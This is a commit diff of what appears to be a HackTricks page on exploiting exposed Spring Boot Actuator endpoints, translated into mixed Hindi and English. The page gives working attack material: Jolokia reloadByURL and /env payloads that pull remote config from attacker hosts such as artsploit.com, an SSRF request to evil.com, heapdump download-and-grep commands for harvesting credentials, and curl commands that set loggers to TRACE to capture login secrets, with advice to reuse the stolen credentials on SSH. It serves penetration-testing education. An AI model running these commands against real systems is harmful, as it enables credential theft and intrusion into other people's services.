Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-09-03 17:06:40 +00:00
parent ec14035576
commit 7c9a681b8f
2 changed files with 396 additions and 317 deletions

File diff suppressed because it is too large Load Diff

View File

@ -10,26 +10,26 @@
## Exploiting Spring Boot Actuators
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**मूल पोस्ट देखें** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Key Points:**
### **मुख्य बिंदु:**
- Spring Boot Actuators ऐसे एंडपॉइंट्स रजिस्टर करते हैं जैसे कि `/health`, `/trace`, `/beans`, `/env`, आदि। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल `/health` और `/info` डिफ़ॉल्ट रूप से गैर-संवेदनशील हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं।
- कुछ Actuator एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाओं की अनुमति दे सकते हैं:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, और `/heapdump`
- Spring Boot 1.x में, एक्ट्यूएटर्स को रूट URL के तहत रजिस्टर किया जाता है, जबकि 2.x में, ये `/actuator/` बेस पथ के तहत होते हैं।
- Spring Boot Actuators `/health`, `/trace`, `/beans`, `/env` आदि जैसे endpoints register करते हैं। versions 1 से 1.4 तक ये endpoints authentication के बिना accessible होते हैं। version 1.5 से केवल `/health` और `/info` default रूप से non-sensitive होते हैं, लेकिन developers अक्सर इस security को disable कर देते हैं।
- कुछ Actuator endpoints संवेदनशील डेटा expose कर सकते हैं या हानिकारक actions की अनुमति दे सकते हैं:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- Spring Boot 1.x में, actuators root URL के तहत register होते हैं, जबकि 2.x में वे `/actuator/` base path के तहत होते हैं।
### **Exploitation Techniques:**
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` एक्ट्यूएटर एंडपॉइंट Jolokia लाइब्रेरी को उजागर करता है, जो MBeans तक HTTP पहुंच की अनुमति देता है।
- `reloadByURL` क्रिया का उपयोग लॉगिंग कॉन्फ़िगरेशन को एक बाहरी URL से फिर से लोड करने के लिए किया जा सकता है, जो अंधा XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है।
- उदाहरण एक्सप्लॉइट URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`
- `/jolokia` actuator endpoint Jolokia Library को expose करता है, जो MBeans तक HTTP access की अनुमति देता है।
- `reloadByURL` action का इस्तेमाल external URL से logging configurations reload करने के लिए exploit किया जा सकता है, जो crafted XML configurations के माध्यम से blind XXE या Remote Code Execution का कारण बन सकता है।
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- यदि Spring Cloud Libraries मौजूद हैं, तो `/env` एंडपॉइंट पर्यावरणीय गुणों को संशोधित करने की अनुमति देता है।
- गुणों को कमजोरियों का लाभ उठाने के लिए हेरफेर किया जा सकता है, जैसे कि Eureka serviceURL में XStream डेसिरियलाइजेशन की कमजोरी
- उदाहरण एक्सप्लॉइट POST अनुरोध:
- अगर Spring Cloud Libraries मौजूद हैं, तो `/env` endpoint environmental properties को modify करने की अनुमति देता है।
- Properties को manipulate करके vulnerabilities exploit की जा सकती हैं, जैसे कि Eureka serviceURL में XStream deserialization vulnerability
- Example exploit POST request:
```
POST /env HTTP/1.1
@ -41,24 +41,98 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Other Useful Settings**:
- गुण जैसे `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, और `spring.datasource.tomcat.max-active` को SQL इंजेक्शन या डेटाबेस कनेक्शन स्ट्रिंग्स को बदलने जैसे विभिन्न एक्सप्लॉइट्स के लिए हेरफेर किया जा सकता है
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, और `spring.datasource.tomcat.max-active` जैसी properties को विभिन्न exploits के लिए manipulate किया जा सकता है, जैसे SQL injection या database connection strings बदलना
### **Additional Information:**
### **अतिरिक्त जानकारी:**
- डिफ़ॉल्ट एक्ट्यूएटर्स की एक व्यापक सूची [यहां](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) पाई जा सकती है।
- Spring Boot 2.x में `/env` एंडपॉइंट गुण संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा वही रहती है।
- default actuators की एक व्यापक सूची [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) पर मिल सकती है।
- Spring Boot 2.x में `/env` endpoint property modification के लिए JSON format का उपयोग करता है, लेकिन सामान्य concept वही रहता है।
### **Related Topics:**
### **संबंधित विषय:**
1. **Env + H2 RCE**:
- `/env` एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण [यहां](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) पाया जा सकता है
- `/env` endpoint और H2 database के संयोजन को exploit करने के विवरण [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) पर मिलते हैं
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- HTTP पथ नामों में मैट्रिक्स पैरामीटर (`;`) के हैंडलिंग के लिए Spring फ्रेमवर्क का उपयोग सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए किया जा सकता है।
- उदाहरण एक्सप्लॉइट अनुरोध:
- Spring framework द्वारा HTTP pathnames में matrix parameters (`;`) की handling को Server-Side Request Forgery (SSRF) के लिए exploit किया जा सकता है।
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
यदि `/actuator/heapdump` एक्सपोज़्ड है, तो आप आमतौर पर एक पूरा JVM heap snapshot प्राप्त कर सकते हैं जो अक्सर live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, आदि) रखता है।
- Download and quick triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Deeper analysis with VisualVM and OQL:
- VisualVM में heapdump खोलें, `java.lang.String` के instances इनसपेक्ट करें या OQL चलाकर secrets hunt करें:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Automated extraction with JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Typical high-value findings:
- Spring `DataSourceProperties` / `HikariDataSource` ऑब्जेक्ट्स जो `url`, `username`, `password` उजागर करते हैं।
- `OriginTrackedMapPropertySource` entries जो `management.endpoints.web.exposure.include`, service ports, और URLs में embedded Basic-Auth (उदा., Eureka `defaultZone`) उजागर करते हैं।
- Plain HTTP request/response fragments जिनमें `Authorization: Basic ...` शामिल हैं, मेमोरी में कैप्चर हो सकते हैं।
Tips:
- Actuator endpoints जल्दी खोजने के लिए Spring-focused wordlist का उपयोग करें (उदा., SecLists spring-boot.txt) और हमेशा जांचें कि `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, और `/actuator/configprops` भी एक्सपोज़्ड तो नहीं हैं।
- Heapdump से मिले credentials अक्सर adjacent services के लिए काम करते हैं और कभी-कभी system users (SSH) के लिए भी, इसलिए इन्हें व्यापक रूप से आजमाएँ।
## Abusing Actuator loggers/logging to capture credentials
यदि `management.endpoints.web.exposure.include` अनुमति देता है और `/actuator/loggers` एक्सपोज़्ड है, तो आप authentication और request processing वाली पैकेजों के लिए dynamic रूप से log levels को DEBUG/TRACE तक बढ़ा सकते हैं। readable logs (via `/actuator/logfile` या ज्ञात log paths) के साथ, यह login flows के दौरान submit हुए credentials को leak कर सकता है (उदा., Basic-Auth headers या form parameters)।
- Enumerate and crank up sensitive loggers:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Find where logs are written and harvest:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Login/authentication traffic ट्रिगर करें और logs को parse करके creds निकालें। gateway के पीछे auth वाले microservice सेटअप में, gateway/security पैकेजों के लिए TRACE सक्रिय करने से अक्सर headers और form bodies दिखाई देने लगते हैं। कुछ environments periodic synthetic login traffic भी जनरेट करते हैं, जिससे verbose logging होने पर संग्रह करना trivial हो जाता है।
Notes:
- काम समाप्त होने पर log levels reset करें: `POST /actuator/loggers/<logger>` के साथ `{ "configuredLevel": null }`
- यदि `/actuator/httpexchanges` एक्सपोज़्ड है, तो यह हाल की request metadata भी surface कर सकता है जिसमें sensitive headers शामिल हो सकते हैं।
## References
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
{{#include ../../banners/hacktricks-training.md}}